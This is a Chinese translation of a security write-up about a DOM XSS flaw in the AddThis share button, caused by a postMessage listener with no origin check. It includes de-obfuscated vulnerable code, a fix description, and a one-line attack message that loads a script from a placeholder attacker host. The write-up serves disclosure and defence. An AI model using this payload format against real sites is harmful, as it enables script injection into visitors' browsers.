postmessage
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【国际资讯】超过百万网站拥有postMessage XSS漏洞
阅读量 43562 | 稿费 100
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2016-12-16 11:01:47
译文声明
本文是翻译文章,文章原作者,文章来源:labs.detectify.com
原文地址:https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/
译文仅供参考,具体内容表达以及含义原文为准
×
http://p8.qhimg.com/t01939171524b8670f3.png
翻译:派大星
预估稿费:100RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
AddThis是一个被超过一百万网站使用的分享按钮。它们都在今年早些被发现有XSS漏洞。
在我上一篇文章(https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/)中我介绍了postMessage API的缺陷。在本篇文章中,我将介绍我是怎样在AddThis中确定和利用这些缺陷的。
当我在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了postMessage。
http://p0.qhimg.com/t01724697e74bfc38e0.png
为了看看它们是否有任何漏洞,我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。
检查listener
除了那些orgin必须是HTTP/HTTPS的页面,代码并没有进行orgin检查。消息的预期格式可以在第5364行看到:
at-share-bookmarklet:DATA.
postMessage
我继续debug,然后使用正确的格式发送了消息,使代码在5370行结束,调用了名为r的函数。它又调用了另一个名为s的函数。
http://p1.qhimg.com/t018dd1d3b02d0d932c.jpg
S函数看起来很有趣。它看起来创建了一个新的元素(难道是DOM XSS?)
http://p3.qhimg.com/t016abfbed3cd6dda64.jpg
反混淆
为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来解除混淆。
e.exports = function(messageData, t, n, s, u, isTrue) {
if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.
var scriptTag = document.createElement("script");
if("https:" === window.location.protocol){
var isSecurePage = true;
}else{
var isSecurePage = false;
}
var protocol = "";
var headElement = document.getElementsByTagName("head")[0];
scriptTag.setAttribute("type", "text/javascript");
scriptTag.setAttribute("async", "async");
//Check if user is using Chrome/Safari
if(window.chrome && window.chrome.self || window.safari && window.safari.extension){
if(isSecurePage){
protocol = "https";
}else{
protocol = "http";
}
//If the message data starts with "//", add protocol before
if(0 === messageData.indexOf("//")){
messageData = protocol + messageData;
}
}
//If the message data starts with "//"
if(0 === messageData.indexOf("//")){
scriptTag.src = messageData;
}else{
scriptTag.src = protocol + "//s7.addthis.com/" + messageData;
}
headElement.insertBefore(scriptTag, headElement.firstChild);
o[messageData] = 1;
return scriptTag;
}
return 1;
}
阅读了这个代码,我得出结论,发送格式化的消息如下:
at-share-bookmarklet://ATTACKERHOST/xss.js
它将添加一个新的脚本元素到源代码为“//ATTACKERDOMAIN/xss.js”的页面。换句话说,它有DOM XSS漏洞。
POC
攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。我最后的exploit跟下面的这个差不多:
修复
我和AddThis的CTO接触了一下,他确定漏洞将会被很快修复然后推送到终端用户。修复增加了orgin检查以确保任意来源的消息不会被发送。
总结
总而言之,postMessage能够导致DOM XSS。如果你使用了第三方脚本,确保一定要检查它们和它们的postMessage实现。
本文翻译自 labs.detectify.com, 原文链接 。如若转载请注明出处。
安全资讯
派大星 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
大表姐
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
派大星
这个人太懒了,签名都懒得写一个
文章
7
粉丝
0
TA的文章
【技术分享】Linux渗透之反弹Shell命令解析
2017-03-16 16:21:14
【技术分享】利用ssrf漏洞获取google内部的dns信息
2017-03-06 11:03:25
【技术分享】使用burp macros和sqlmap绕过csrf防护进行sql注入
2017-03-02 14:07:17
【国际资讯】超过百万网站拥有postMessage XSS漏洞
2016-12-16 11:01:47
【CTF攻略】黑进Hackday Albania VM (CTF 挑战)
2016-12-09 15:19:41
输入关键字搜索内容
相关文章
11月26日每日安全热点 - Lazarus对金融机构进行攻击
11月25日每日安全热点 - 北京首起“盗挖币”案告破:前员工挖矿赚钱
11月24日每日安全热点 - 诈骗者通过SIM交换从硅谷高管窃取100万美元
11月23日每日安全热点 - 利用Safari 恶意网站可攻击macOS系统
11月22日每日安全热点 - 新的黑客组织Outlaw使用僵尸网络进行挖矿攻击
黑产趣事 | 学霸搞黑产,惊动教育圈!
11月21日每日安全热点 - APT29在经过两年广泛的间谍活动后重新出现
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论